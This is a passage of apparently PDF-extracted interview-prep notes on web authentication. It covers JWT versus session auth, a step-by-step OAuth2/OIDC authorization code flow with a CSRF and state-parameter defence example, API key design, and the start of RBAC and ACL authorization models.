Reading claims from an unverified payload and acting on them is a critical security vulnerability.
Verify first. Read after.
Location
What is stored
Client
The full JWT with user data baked in (encoded, not encrypted)
Server
Nothing. Only the SECRET_KEY needed to verify signatures.
Why You Cannot Fake a JWT
The payload is base64 encoded — not encrypted. Anyone can decode and read it. But they cannot change it
without breaking the signature.
Session vs JWT — Side by Side
Session Auth
JWT Auth
State
Stateful (server stores session)
Stateless (server stores nothing)
Storage
Redis / DB
Client only
Per-request cost
Redis lookup ~0.5ms
Signature verify ~0.1ms (CPU only)
Revocation
Instant (delete from Redis)
Cannot revoke before expiry
Horizontal scaling
Needs shared Redis across servers
Any server validates independently
True logout
Yes — delete session record
Partial — client deletes, token still
valid
Best for
Banking, compliance, monoliths
Microservices, mobile apps, APIs
The Revocation Problem — JWT's Achilles Heel
Scenario: a banking app. A user's account is flagged for fraud at 2pm. You want to kick them out immediately.
Session auth: delete their record from Redis — out on the next request. JWT auth: their token is valid until 4pm.
You cannot delete it. They have 2 hours of fraudulent access. This is the hardest trade-off in JWT design.
Three workarounds, each with a cost:
1. Short expiry (15 minutes)
Even if stolen, damage window is tiny.
But user gets logged out every 15 min --> fix with refresh tokens.
Cost: complexity of refresh token flow.
2. Token blocklist in Redis
Store revoked JWT IDs (jti claim) in a Redis set.
Every request: check if jti is in the blocklist.
Restores instant revocation.
Cost: you now have a Redis lookup again. Partly re-invented session auth.
3. Short expiry + refresh token (industry standard)
Access token: 15 min expiry. Stateless. Fast.
Refresh token: 7 days. Stored server-side. Can be revoked.
When access token expires: refresh token silently gets a new one.
User never re-logs in. Security maintained.
Used by: Google, GitHub, Razorpay, every serious production system.
Real-World Usage
System
Auth Choice
Why
Banking apps
Session-based
Instant revocation non-negotiable
Google / GitHub APIs
JWT + refresh tokens
Stateless scaling + controlled revocation
Internal microservices
JWT
Services do not share session store
Traditional web monolith
Sessions in Redis
Simple, instant logout, works well
Mobile apps
JWT
No cookies. Stateless fits better.
Fintech (Razorpay)
API Keys + JWT
Machine auth + user auth separately
Interview Answer — "Which Is Better?"
Never say one is better. Say: it depends on the revocation requirement and the architecture. If I
need instant revocation — banking or compliance — I use sessions backed by Redis. If I am building
microservices that need to scale horizontally without a shared session store, I use short-lived JWTs
with refresh tokens. In practice most production systems use a hybrid: JWTs for access tokens,
server-stored refresh tokens for controlled revocation.
One-Paragraph Summary
Session auth is stateful: the server generates a random session ID, stores the user data in Redis, and the client
carries only the ID. Every request hits Redis. Revocation is instant: delete the record. JWT auth is stateless: the
server bakes user data into a signed token, sends it to the client, and stores nothing. Any server can verify a JWT
using the secret key (HS256) or public key (RS256), making it perfect for microservices and horizontal scaling. The
cost: JWTs cannot be revoked before they expire because there is nothing to delete server-side. The payload is
base64 encoded (readable) but tamper-proof due to the signature — never put sensitive data in it. The industry
solution is short-lived access tokens (15 min) plus long-lived refresh tokens stored server-side: stateless for
performance, with controlled revocation through the refresh layer. In interviews: match the choice to the
system's revocation and scaling requirements, never declare a winner in isolation.
Topic 4.6 — OAuth2 & OIDC
[ TOPIC QUICK REFERENCE ]
AUTHORIZATION CODE (step in the flow, not a token):
What travels: Short-lived code in redirect URL query param
Which header: None. It is a URL param: ?code=abc123
Public key:
No. Code is exchanged for tokens via POST.
ACCESS TOKEN (what the app uses to call APIs):
What travels: Access token (opaque or JWT)
Which header: Authorization: Bearer <access_token>
Public key:
Depends: opaque = introspection endpoint.
JWT = RS256 public key from JWKS.
ID TOKEN (OIDC only -- proves identity):
What travels: JWT always
Which header: Received in token response body, NOT in API requests
Public key:
Yes. Always RS256. Verified using JWKS.
Why RS256:
Multiple apps (Yelp, Spotify...) verify Google's token.
Public key must be shareable. HS256 cannot work here.
CLIENT CREDENTIALS (service-to-service, no user):
What travels: client_id + client_secret in POST body
Which header: Content-Type: application/x-www-form-urlencoded
Public key:
No (for the request itself). Resulting token uses RS256.
STATE PARAMETER (CSRF protection, not a token):
What it is:
Random
string generated by Yelp backend before redirect.
Stored in:
Redis.
Key = "oauth_state:{session_id}", TTL = 600s.
Travels:
Yelp ->
Google (Step 2 URL param) -> echoed back to Yelp (Step 5).
Google's role:
Passive carrier. Echoes unchanged. Does NOT validate it.
Verified by:
Yelp backend at Step 6 -- must match Redis value.
Lifecycle:
Single-use. Deleted from Redis immediately after verification.
Prevents:
CSRF attack on /callback. Proves OAuth was initiated by this user.
The Problem
It is 2008. You sign up for a new app called Yelp. Yelp wants to import your Gmail contacts to find your friends.
Yelp's solution at the time: give us your Gmail username and password and we will log in as you. You had to hand
over your Google credentials to a third-party app. Yelp could now read your emails, delete your account, change
your password. And if Yelp got hacked, your Google password was gone. This was genuinely how the internet
worked.
The industry needed a standard answer to one question: how can App B access your data on Service A without
App B ever seeing your password? That answer is OAuth2.
The Valet Key Analogy
Luxury cars come with a valet key. It opens the door and starts the engine but cannot open the boot, cannot
exceed 30 mph, and expires after a few hours. You give the valet the valet key, not your master key. OAuth2 gives
apps a valet key to your data: scoped (only contacts, not emails), time-limited (expires after 1 hour), revocable
(cancel it from Google settings anytime). Your actual password never leaves Google.
The Four Actors
Every OAuth2 flow has exactly four players. Know these by name for interviews.
Actor
Who They Are
Real Example
Resource Owner
You — the user who owns the data
Ayush
Client
The app that wants access
Yelp
Authorization Server
Issues tokens after your approval
accounts.google.com
Resource Server
Holds the actual data being requested
Gmail API
Full Chronological Flow — Every URL, Param & Header
Step 1 — User clicks the button (no API call)
Actor: Browser / User. No network call yet. Yelp frontend renders a "Login with Google" button which is a simple
anchor or redirect. Nothing sent to any server at this point.
Step 2 — Yelp redirects browser to Google
Actor: Yelp backend — not the frontend. Before building the redirect URL, Yelp's backend generates a random
state value and stores it in Redis tied to this user's session. The frontend never sees or holds the state — storing
it in the browser (localStorage, cookie) would let XSS read and defeat it. Redis is the storage: key =
"oauth_state:{session_id}", value = state string, TTL = 600s. The state travels to Google inside the redirect URL.
Google echoes it back unchanged in the /callback. Yelp backend reads it from Redis, compares, rejects if
mismatch, then immediately deletes it — single-use.
Method:
URL:
GET (browser navigation via redirect)
https://accounts.google.com/o/oauth2/v2/auth
Query params:
client_id
redirect_uri
scope
response_type
token)
state
session)
access_type
= yelp_app_id_123
(Yelp registered with Google)
= https://yelp.com/callback (must match registered URI)
= contacts.read email profile
= code
(we want an auth code, not
= rAnD0m_csrf_t0k3n
(random, stored in Yelp
= offline
(required to get refresh token)
Full URL example:
https://accounts.google.com/o/oauth2/v2/auth
?client_id=yelp_app_id_123
&redirect_uri=https://yelp.com/callback
&scope=contacts.read%20email%20profile
&response_type=code
&state=rAnD0m_csrf_t0k3n
&access_type=offline
# How state is stored in Redis (Yelp backend):
state_value = SecureRandom.hex(16)
# "rAnD0m_csrf_t0k3n..." 128 bits
session_id = request.cookies["session"] # user's existing Yelp session
cookie
Redis.SET("oauth_state:{session_id}", state_value, EX=600)
# EX=600 -> auto-expires in 10 minutes if OAuth not completed
# At callback (Step 6):
incoming_state = request.query["state"]
stored_state
= Redis.GET("oauth_state:{session_id}")
if incoming_state != stored_state: raise 401
Redis.DEL("oauth_state:{session_id}")
# single-use -- delete
immediately
# How state stops a CSRF attack:
WITHOUT state:
Attacker crafts: https://yelp.com/callback?code=ATTACKER_CODE
Victim (logged into Yelp) clicks it.
Yelp exchanges code -> links attacker's Google account to victim's Yelp.
Attacker can now log in as victim.
WITH state:
Attacker's link:
https://yelp.com/callback?code=ATTACKER_CODE&state=anything
Yelp backend: Redis.GET("oauth_state:{victim_session}") -> nil
nil != "anything" -> 401. Rejected.
Attack fails because victim never initiated an OAuth flow.
No state was ever stored in Redis for their session.
Step 3 — Google renders consent screen
Actor: Google Auth Server. No outbound API call. Google reads the query params from step 2, looks up client_id
to find the registered app name ("Yelp"), and renders a consent UI showing the requested scopes. The browser is
on accounts.google.com at this point.
Step 4 — User clicks Allow
Actor: User. Browser POSTs to Google internally. Google records the authorization decision against the user's
account. No call goes to Yelp yet.
Step 5 — Google redirects browser back to Yelp with AUTH_CODE
Actor: Google Auth Server issues a 302 redirect. Browser navigates to Yelp's redirect_uri. The AUTH_CODE is in
the URL query params — visible in browser history and server logs. This is why it is short-lived (60 seconds) and
single-use only. Google also echoes back the state value unchanged — it does not validate or care about the
state. It is Yelp's responsibility to verify it.
Method:
URL:
GET (browser navigation, Google-issued 302 redirect)
https://yelp.com/callback
Query params:
code
= AUTH_CODE_xyz789
(one-time, expires in 60 seconds)
state = rAnD0m_csrf_t0k3n
(Google is a passive carrier -- echoes it
back unchanged, does NOT validate it)
Full redirect URL:
https://yelp.com/callback?code=AUTH_CODE_xyz789&state=rAnD0m_csrf_t0k3n
IMPORTANT: code alone is useless without client_secret.
Even if stolen from browser history, attacker cannot exchange it.
Step 6 — Yelp backend receives the code
Actor: Yelp backend server. The /callback route is hit. The first thing Yelp does — before touching the code — is
verify the state parameter. Here is why this check cannot be skipped: the OAuth callback is just a URL redirect. An
attacker who has their own Google account can capture their own callback URL and send it to a victim disguised
as a link. The victim's browser — which is already logged into Yelp — visits the URL, Yelp processes it, and the
attacker's Google account gets linked to the victim's Yelp session. State stops this: Yelp generated a random
secret before Step 2 and stored it in the session. Only a callback that echoes that exact secret back is valid. The
attacker's crafted URL has a different state — one Yelp never generated for this session — so it is rejected before
any code exchange happens.
Yelp backend receives:
GET /callback?code=AUTH_CODE_xyz789&state=rAnD0m_csrf_t0k3n
Step 6a -- Verify state FIRST (before touching the code):
incoming_state = request.query["state"]
<- echoed back by Google
stored_state
= Redis.GET("oauth_state:{session_id}") <- stored in Step
2
if incoming_state != stored_state:
abort(400)
<- reject. do not proceed.
Redis.DEL("oauth_state:{session_id}")
<- one-time use. delete
now.
Step 6b -- Only now extract the code:
auth_code = request.query["code"]
<- AUTH_CODE_xyz789
# Proceed to Step 7: exchange auth_code for tokens
Step 7 — Yelp backend exchanges code for tokens (server-to-server)
Actor: Yelp backend server calls Google directly. This call NEVER goes through the browser. client_secret is
included here — it never touches the frontend. This is the security core of the Authorization Code Flow.
Method:
URL:
POST
https://oauth2.googleapis.com/token
Headers:
Content-Type: application/x-www-form-urlencoded
Body (form-encoded):
grant_type
= authorization_code
code
= AUTH_CODE_xyz789
(from step 5)
client_id
= yelp_app_id_123
client_secret = YELP_SECRET_KEY_never_in_frontend
redirect_uri = https://yelp.com/callback (must match step 2 exactly)
Note: redirect_uri here is not actually redirecting.
Google uses it only to verify it matches the registered URI.
Step 8 — Google returns tokens
Actor: Google Auth Server responds to Yelp backend. Three tokens returned. Each has a different format and
purpose.
HTTP 200 OK
Content-Type: application/json
Response body:
{
"access_token": "ya29.A0ARrdaM_very_long_opaque_string",
"token_type":
"Bearer",
"expires_in":
3600,
"refresh_token": "1//0gLd_another_opaque_string",
"scope":
"contacts.read email profile",
"id_token":
"eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiIxMjM..."
}
<-- JWT
Token
Format
Lifetime
Purpose
access_token
Opaque (NOT JWT in
Google)
1 hour
Sent with every API call to Gmail
refresh_token
Opaque
7-90 days
Gets new access_token when expired
id_token
JWT (always in OIDC)
1 hour
Proves who the user is (OIDC)
Step 9 — Yelp decodes ID Token locally (OIDC)
Actor: Yelp backend. No network call. The id_token is a JWT. Yelp base64-decodes the payload and reads user
identity directly. This is the entire OIDC contribution: identity from a JWT, no extra API call required.
# id_token is a JWT: header.payload.signature
# Base64-decode the payload:
{
"sub":
"google_user_id_10482937465",
// unique user ID
"name":
"Ayush Sharma",
"email":
"ayush@gmail.com",
"picture":
"https://lh3.googleusercontent.com/...",
"iss":
"https://accounts.google.com", // issuer (Google)
"aud":
"yelp_app_id_123",
// audience (Yelp)
"iat":
1700000000,
// issued at
"exp":
1700003600,
// expires at
}
# Yelp verifies:
#
signature using Google public key (fetched from JWKS endpoint)
#
aud == yelp_app_id_123 (token was issued for Yelp, not someone else)
#
exp is in the future
#
iss == accounts.google.com (issued by Google)
HS256 vs RS256 — Why OIDC Uses a Public Key
Why OIDC must use RS256:
Google issues the ID token. Yelp needs to verify it.
If Google used HS256:
Yelp would need Google's SECRET_KEY to verify.
But if Yelp has Google's secret, Yelp could FORGE tokens as Google.
Google would never share its secret. HS256 cannot work here.
With RS256:
Google signs with Google_PRIVATE_KEY (never leaves Google).
Google publishes Google_PUBLIC_KEY at JWKS endpoint.
Yelp fetches it once, caches it for hours.
Yelp can verify. Yelp cannot forge. Problem solved.
HS256: same secret signs and verifies -> use for your own app.
RS256: private key signs, public key verifies -> use across organisations.
HS256: same secret signs and verifies. Use for your own app. RS256: private key signs, public key
verifies. Use across organisations. Simple rule: same party signs and verifies = HS256. Different
parties involved = RS256.
JWKS — JSON Web Key Set
JWKS is the public key directory of an auth server. It is a public URL the auth server publishes
containing all its current public keys in JSON format. Any service that needs to verify a JWT signed
by that auth server fetches this URL to get the keys.
GET https://accounts.google.com/.well-known/jwks.json
Response:
{
"keys": [
{
"kty": "RSA",
<- key type
"alg": "RS256",
<- algorithm
"use": "sig",
<- purpose: signing (not encryption)
"kid": "key-id-2024-03", <- Key ID -- matches "kid" in JWT header
"n":
"sT6T9JNk...",
<- RSA modulus (the actual public key,
base64)
"e":
"AQAB"
<- RSA exponent
},
{
"kid": "key-id-2024-02", <- older key, still published
...
tokens signed with it are still valid
}
]
}
# Multiple keys because Google rotates keys periodically.
# Old tokens signed with previous key are still valid until they expire.
# So both old and new keys are published simultaneously.
Step 10 — Yelp calls Gmail API with Access Token
Actor: Yelp backend. Now uses the access_token to call Gmail API. Token goes in the Authorization header, NOT
in the URL or body.
Method:
URL:
GET
https://www.googleapis.com/contacts/v1/people/me/connections
Headers:
Authorization: Bearer ya29.A0ARrdaM_very_long_opaque_string
Accept: application/json
Query params:
personFields = names,emailAddresses,phoneNumbers
pageSize
= 100
Steps 11-12 — Gmail API validates token, returns data
Actor: Gmail API calls Google Auth Server internally to validate the opaque access_token (because it cannot
decode it locally — it is not a JWT). Google confirms: valid, not expired, scope includes contacts.read. Gmail API
then returns the contacts JSON.
# Internal call (Gmail API --> Google Auth):
GET https://oauth2.googleapis.com/tokeninfo?access_token=ya29.A0ARrdaM...
# Google Auth responds:
{
"azp":
"yelp_app_id_123",
"aud":
"yelp_app_id_123",
"sub":
"google_user_id_10482937465",
"scope": "contacts.read email profile",
"exp":
"1700003600",
}
# Gmail API returns to Yelp:
HTTP 200 OK
{ "connections": [ { "names": [...], "emailAddresses": [...] }, ... ] }
Bonus — Refresh Token Flow (silent renewal)
When access_token expires (after 1 hour), Yelp uses the refresh_token to get a new one silently. User never
re-logs in.
Method:
URL:
POST
https://oauth2.googleapis.com/token
Headers:
Content-Type: application/x-www-form-urlencoded
Body:
grant_type
= refresh_token
refresh_token = 1//0gLd_the_stored_refresh_token
client_id
= yelp_app_id_123
client_secret = YELP_SECRET_KEY
Response:
{
"access_token": "ya29.NEW_opaque_token",
"expires_in":
3600,
"token_type":
"Bearer"
}
# No user interaction needed. Yelp stores new access_token and continues.
Why the Two-Step Code Exchange?
The AUTH_CODE travels through the browser URL in step 5. Browser URLs appear in browser history, server
access logs, and referrer headers — all readable. If Google sent the token directly in the redirect URL, the token
would be exposed in all those places.
The AUTH_CODE is safe in the URL because it is: short-lived (60 seconds), single-use (consumed on first
exchange), and useless without client_secret (which only Yelp's backend knows). The real token exchange (step
7) is server-to-server — direct HTTPS call, never through the browser, never in a URL.
Scopes — The Valet Key Mechanism
Scopes define exactly what access is requested. They are baked into the token. If Yelp requests contacts.read and
later calls the Gmail API with that token to read emails, the request is rejected — the scope is not in the token.
contacts.read
gmail.readonly
drive.file
profile email
openid
--> read contacts only
--> read emails (cannot send or delete)
--> only files the app itself created
--> basic profile + email (standard for OIDC login)
--> required scope to trigger OIDC and get id_token
OIDC — Identity Layer on Top of OAuth2
OAuth2 solves authorisation: can App B access your data? It was never designed for authentication: is this
actually Ayush? The access_token just says "this app can read contacts." It says nothing about who the logged-in
user is.
OpenID Connect (OIDC) is a thin layer on top of OAuth2 that adds identity. It introduces one new thing: the ID
Token. The ID Token is always a JWT. The app reads it to know who the user is — without any extra API call.
OAuth2 alone:
access_token = "you can read contacts"
(no info about the user)
OAuth2 + OIDC:
access_token = "you can read contacts"
id_token
= JWT containing:
{ sub: "google_uid_123", name: "Ayush",
email: "ayush@gmail.com",
iss: "https://accounts.google.com",
aud: "yelp_app_id_123", exp: 1700003600 }
One-line rule:
OAuth2 = what can the app do
OIDC
= who is the user
The Four Grant Types
Grant Type
Use Case
Key Difference
Authorization Code
Web apps with a backend
server
Two-step: code then token. Needs client_secret
on server.
Auth Code + PKCE
Mobile apps / SPAs (no
backend secret)
Replaces client_secret with code_verifier.
Browsers safe.
Client Credentials
Machine-to-machine (no user)
App sends client_id + client_secret directly for
token.
Refresh Token
Silently renewing expired
access tokens
Sends refresh_token, receives new access_token.
Access Token Format — JWT or Opaque?
OAuth2 never mandated the access token format. The choice is the implementer's. Google uses opaque access
tokens (ya29.xxx) for their own APIs. Auth0, Okta, and most internal systems use JWT as access tokens.
System
Access Token Format
Why
Google APIs
Opaque (NOT JWT)
Only Google can validate. Extra network call per request.
Auth0
JWT
Resource server validates locally. No network hop.
Okta
JWT
Same: fast local validation with public key.
GitHub
Opaque
Central validation at GitHub.
Your own system
Usually JWT
You control both auth + resource server. Speed wins.
Opaque access token:
Resource Server MUST call Auth Server to validate
hop)
Auth Server can revoke it instantly
(extra ~0.5ms network
JWT access token:
Resource Server validates locally (verify signature with public key)
Zero network hop. Fast.
Cannot revoke before expiry. Classic JWT problem applies here too.
ID Token: ALWAYS a JWT. OIDC spec requires it.
Refresh Token: always opaque. Always stored server-side. Always revocable.
Token Lifetime Design
Access Token:
Refresh Token:
ID Token:
15 min to 1 hour
7 to 90 days
Same as access
Short. Use for every API call.
Long. Only used to renew access token.
Read once at login for user identity.
Refresh Token Rotation:
Every time refresh_token is used, a new one is issued and old one revoked.
If attacker steals a refresh_token and uses it after Yelp already used it,
Google detects double-use and revokes the entire token family.
Used by Google, Auth0, GitHub.
Real-World Usage
Platform / Flow
What They Use
"Login with Google / GitHub /
Facebook"
OIDC (identity layer over OAuth2)
Slack accessing Google Drive
OAuth2 (authorisation, not login)
GitHub Actions calling AWS
Client Credentials (machine-to-machine)
Mobile apps (no backend secret)
Authorization Code + PKCE
Internal microservices
Client Credentials via internal auth server
One-Paragraph Summary
OAuth2 solves the problem of apps accessing your data on other services without ever seeing your password. It
defines four actors: Resource Owner (you), Client (Yelp), Authorization Server (Google), and Resource Server
(Gmail API). The Authorization Code Flow sends a short-lived AUTH_CODE through the browser, then the
backend exchanges it plus client_secret for tokens in a direct server-to-server call. Scopes act as the valet key:
the token only grants what was explicitly requested. OIDC is a thin identity layer on top of OAuth2 that adds the
ID Token — always a JWT — which tells the app who the user is without an extra API call. The access_token
format (JWT vs opaque) is the implementer's choice: opaque requires central validation but allows instant
revocation; JWT allows fast local validation but cannot be revoked before expiry. The refresh_token is always
opaque and stored server-side, acting as the long-lived revocable anchor. Four grant types cover the main
scenarios: Auth Code for web apps, PKCE for mobile and SPAs, Client Credentials for machine-to-machine, and
Refresh Token for silent renewal.
Topic 4.7 — API Keys
[ TOPIC QUICK REFERENCE ]
What travels:
API Key (long static random string)
Which header:
Authorization: Bearer <api_key>
OR custom header: X-API-Key: <api_key>
OR query param:
?api_key=<api_key> (avoid in prod)
Public key:
No. Server hashes the incoming key and looks up in DB.
Mechanism:
SHA-256(incoming_key) --> lookup DB --> get owner,
scopes, rate_limit
No JWT. No session. No signature verification. Pure DB lookup.
The Problem
You have built a weather API. Week 1: a few developers use it. Week 3: someone writes a blog post. Suddenly
50,000 requests per second. Your server dies. You have no idea who called it. You cannot block the abuser,
charge anyone, or see which app caused the spike. You cannot revoke access for one bad actor without breaking
everyone. OAuth2 is overkill here — there is no user clicking Allow. It is just a script or backend service hitting
your endpoint. The solution: give every developer a unique key at signup. Every request must include that key.
Now you can track usage, rate limit, revoke, and bill per key. That is an API key.
What Is an API Key?
An API key is a long random string issued to a developer or machine that identifies them on every request. Think
of it like a library card: show it every time, library does not re-verify your identity, if you abuse the system your
card is cancelled and nobody else is affected. No login flow. No consent screen. No JWT. No session. Just: here is
my key, serve me.
sk-ant-api03-xK9mP2qR7vN4wL8jT1uY...
sk-proj-AbCdEfGh1234567890...
rzp_live_AbCdEfGhIjKlMn...
rzp_test_AbCdEfGhIjKlMn...
<- Anthropic API key
<- OpenAI API key
<- Razorpay live key
<- Razorpay test key
How API Keys Travel
Two methods. Authorization header is preferred. Query param is convenient but insecure.
# Method A: Authorization header (preferred)
GET /v1/weather?city=Mumbai HTTP/1.1
Host: api.weatherco.com
Authorization: Bearer rzp_live_AbCdEfGhIjKlMn...
# Or custom header (many APIs):
X-API-Key: rzp_live_AbCdEfGhIjKlMn...
# Method B: Query param (convenient, less secure)
GET /v1/weather?city=Mumbai&api_key=rzp_live_AbCdEfGhIjKlMn...
# WARNING: query params appear in server logs, browser history,
# and referrer headers. Use headers in production.
API Keys vs Everything Else
API Key
JWT
Session Token
OAuth2 Access Token
Identifies
App / developer
User
User
User + app
Issued to
Developer at
signup
User at login
User at login
App after OAuth flow
Expiry
Usually never
15 min - 1 hr
Configurable
1 hour
Revocation
Delete from DB
Blocklist/wai
t
Delete from
Redis
Revoke at auth server
User consent
None needed
User logs in
User logs in
User clicks Allow
Carries data
No (just an ID)
Yes
(payload)
No (just ID)
No (opaque)
Best for
Machine-to-mach
ine
User auth
Web sessions
Third-party access
User logged
in. JWT travels
with every
request to
prove which
user is calling.
Browser app,
mobile app.
Traditional web
app. Browser
stores a session
cookie. Sent
automatically
with every page
request.
User grants an external app
permission. Login with Google
on Yelp. Yelp gets a token
scoped to what the user
allowed.
Backend hits Stripe,
Razorpay, OpenAI.
No human. No
login. Just a script
or service calling
another service.
One-line rule: JWT/Session = who is this user. API Key = who is this app or developer.
What Happens on the Server When a Key Arrives
API keys are stateful — the server must look them up every time. No signature math.
Client sends: Authorization: Bearer rzp_live_AbCdEfGhIjKlMn
Server:
1. Extract key from header
2. Hash the incoming key: SHA-256("rzp_live_AbCdEfGhIjKlMn") = "8f3a9b..."
3. Look up hash in DB/Redis
--> { owner: merchant_789, scopes: [payments.read, refunds.create],
rate_limit: 1000/min, active: true }
4. active == false? --> 401 Unauthorized
5. rate limit exceeded? --> 429 Too Many Requests
6. required scope missing? --> 403 Forbidden
7. Log request against merchant_789
8. Serve the response
# rate_limit: 1000/min -- what this field means:
#
# It is the QUOTA ASSIGNED to this key. Not the current usage.
# Think of it as: "this key is allowed at most 1000 requests per minute."
#
# The DB record stores what is ALLOWED.
# The CURRENT USAGE is tracked separately in Redis:
#
# Redis key: rate:merchant_789:2024010112
(key:owner:minute_bucket)
# Redis value: 543
(requests made so far this
minute)
# Redis TTL: 60 seconds
(auto-expires when minute ends)
#
# Rate limit check (step 5 above):
# current_count = Redis.GET("rate:merchant_789:2024010112")
# current_count >= rate_limit (1000)?
#
YES --> 429 Too Many Requests
#
NO --> Redis.INCR("rate:merchant_789:2024010112") --> proceed
#
# Every minute the Redis key expires and the counter resets to 0.
# No cron job needed. Redis TTL handles it automatically.
#
# This is the SIMPLEST form of rate limiting (fixed window).
# Full depth -- sliding window, token bucket, leaky bucket,
# distributed rate limiting -- covered in Ch.13 (Rate Limiting).
Key Storage — Never Store Plaintext
Store a SHA-256 hash of the key, not the key itself. When a request arrives, hash the incoming key and compare
to the stored hash — same principle as password storage. If the DB is breached, attacker gets hashes, not live
keys. Stripe and GitHub do this. Show the raw key to the developer ONCE at creation. After that, it is gone even
from your DB.
At creation:
raw_key = "rzp_live_" + random_bytes(32).hex()
stored_hash = SHA256(raw_key)
DB.save({ hash: stored_hash, owner: merchant_789, ... })
Show raw_key to developer once. Never store it.
On each request:
incoming = request.headers["Authorization"].split("Bearer ")[1]
lookup_hash = SHA256(incoming)
record = DB.find_by_hash(lookup_hash)
if not record: return 401
Key Properties Tracked
{
key_hash:
owner_id:
name:
"sha256:8f3a9b...",
"merchant_789",
"Production server",
// human label
scopes:
["payments.read",
"refunds.create"],
rate_limit:
1000,
created_at:
"2024-01-15",
last_used_at: "2024-03-20 14:32:01",
expires_at:
null,
active:
true
// requests per minute
// for auditing
// null = no expiry
}
Scoped Keys — Principle of Least Privilege
Modern systems let you create keys with limited scopes. You only grant what is needed.
Razorpay:
rzp_live_...
rzp_test_...
--> production (real money)
--> sandbox (no real money)
Stripe key scopes:
Full access key
Restricted key
Webhook secret
--> can do everything
--> payments read-only, no refunds
--> can only verify webhook signatures
AWS IAM (same concept, different name):
Access Key ID:
AKIAIOSFODNN7EXAMPLE
(public identifier)
Secret Access Key: wJalrXUtnFEMI/...
(private, used to sign
requests)
Policy:
can only read from S3 bucket "my-bucket"
Key Rotation
API keys are long-lived by default. A leaked key is valid forever unless explicitly rotated. GitHub scans public repos
for exposed keys and notifies providers. Stripe auto-deactivates a key found in a public repo. Always use .env files
and .gitignore.
Rotation pattern (zero downtime):
Step 1: Generate new key (keep old key active)
Step 2: Deploy new key to all services
Step 3: Verify all services using new key
Step 4: Revoke old key
No downtime at any step.
Rate Limiting Per Key
Free tier:
Developer:
Business:
100 requests/day
10,000 requests/day
1,000,000 requests/day
# Tracked in Redis per key per time window:
INCR
rate:rzp_live_AbCdEfGh:2024-03-20:14
EXPIRE rate:rzp_live_AbCdEfGh:2024-03-20:14
--> 847
3600
if 847 >= limit:
return 429 Too Many Requests
Retry-After: 760
(seconds until window resets)
When to Use API Keys vs Other Auth
Use API Keys when:
- Caller is a machine, not a human
- No user login flow involved
- Third-party developers integrating your API
- You need per-caller rate limiting and billing
Use JWT/Session when:
- Caller is a human logging in
- Short-lived access needed
Use OAuth2 when:
- Third-party app needs access to a user's data
- User consent required
Use OAuth2 Client Credentials when:
- Machine-to-machine but you want token expiry + auto-refresh
- More structured than a static API key
One-Paragraph Summary
An API key is a long random string issued to a developer or machine that identifies every request they make —
no login flow, no user consent, no JWT. It travels in the Authorization or X-API-Key header (avoid query params —
URLs are logged everywhere). On the server, keys are stored hashed (never plaintext), looked up on every
request, and checked against scopes, rate limits, and active status. The key difference from JWT/session auth: API
keys identify apps and developers, not users. They are long-lived and manually rotated, which is their biggest risk
— a leaked key is valid until explicitly revoked. Modern systems scope keys following the principle of least
privilege, separate live and test keys, and track usage per key for billing and rate limiting. Use API keys for
machine-to-machine or developer integrations; use JWT/OAuth2 for user authentication.
Topic 4.8 — Authorization Models (RBAC / ABAC / ACL)
[ TOPIC QUICK REFERENCE ]
RBAC/ABAC/ACL does not involve its own auth header.
It runs AFTER the token has already been validated (by gateway or
service).
Input to RBAC:
Public key:
Mechanism:
userId and role extracted from validated JWT
OR from trusted internal headers (X-User-Id, X-User-Role)
injected by the API gateway.
Not involved here. Token already verified upstream.
Check: does role X have permission Y on resource Z?
DB lookup or in-memory policy check.
The Problem
You are building Razorpay's internal dashboard. Thousands of employees. Each one should see and do different
things. The naive approach: if user.id == 5501: allow_refund(). This works for one user. At 3,000 employees you
need 3,000 if-statements. Someone quits — you hunt every if and delete it. Someone gets promoted — same
hunt. A new endpoint is added — you forget to add their check. Production incident. You need a system where
permissions are defined in one place, assigned by role, and enforced everywhere automatically. That is RBAC.
ACL — Access Control Lists (Know What It Is)
The oldest model. A permission list is attached directly to each resource, listing who can access it and how. Linux
file permissions (chmod 755) are ACLs. Google Drive's "share with specific people" is an ACL. Fine for files and
small systems.
File: /reports/q3_revenue.pdf
ACL: [ user:ayush --> read
user:priya --> read + write
user:ravi
--> none ]
ACL storage scales as O(users x resources) — multiplicatively. At 500 users and 10,000 documents that is already
5 million entries to store, check, and clean up. There is no concept of "all managers can see this" — you list each
manager individually. RBAC solves this by collapsing that to O(users + resources) through roles. You will not
design ACL systems in interviews. Know what they are and why they do not scale.
ACL:
RBAC:
total entries = users x resources
(multiplicative)
total entries = (users x roles) + (roles x permissions)
small
small
Example: 500 users, 20 roles, 100 permissions, 10,000 documents
ACL: 500 x 10,000
= 5,000,000 entries
RBAC: (500x20) + (20x100) = 10,000 + 2,000 = 12,000 entries
RBAC — Role-Based Access Control
Stop assigning permissions to users directly. Assign permissions to roles. Assign roles to users. The analogy: a
hospital. Every doctor gets the same access as every other doctor — not because someone configured each
doctor individually, but because "Doctor" is a role with defined permissions. New doctor joins: assign role, done.
Doctor leaves: remove role, done. No hunting through individual permission lists.
Permission
-->
Role
-->
NOT:
Permission
-->
User
(does not scale)
Users
──────
ayush
-->
manage_users
priya
-->
ravi
-->
User
Roles
──────
admin
-->
Permissions
───────────
create_payment, issue_refund, view_logs,
analyst
support
-->
-->
view_payment, view_reports
issue_refund, view_payment
How RBAC Works at Runtime
Ayush tries to issue a refund.
System checks:
1. What roles does Ayush have? --> [admin, analyst]
2. What permissions do those roles grant?
admin
--> [create_payment, issue_refund, view_logs, manage_users]
analyst --> [view_payment, view_reports]
combined --> [create_payment, issue_refund, view_logs,
manage_users, view_payment, view_reports]
3. Does combined set include issue_refund? YES --> allow
4. Log the action.
One DB lookup for roles. One join for permissions. Done.
Role Hierarchy
Senior roles inherit permissions from junior roles. You do not re-define everything. New permission added to
analyst? Every manager and admin gets it automatically.
viewer
analyst
manager
admin
--> can read reports
--> viewer + can export data
--> analyst + can approve transactions
--> manager + can manage users + can configure system
Where RBAC Is Enforced (Three Layers)
1. API Gateway / Middleware (coarse-grained)
Every request hits middleware first.
Extracts JWT --> reads role claim --> checks route permission.
Fast. Rejects obvious violations before reaching business logic.
2. Business Logic Layer (fine-grained)
"Can this manager approve transactions over 1 lakh?"
Context-dependent checks that middleware cannot handle.
3. Database / ORM (row-level)
"Can this analyst see only their team's data, not all data?"
Filters applied at query time.
Prevents data leakage even if layers above are bypassed.
Where RBAC Breaks Down
RBAC works until rules need context. The role is "manager" everywhere — there is no slot for a money limit, a
time window, or a geography restriction.
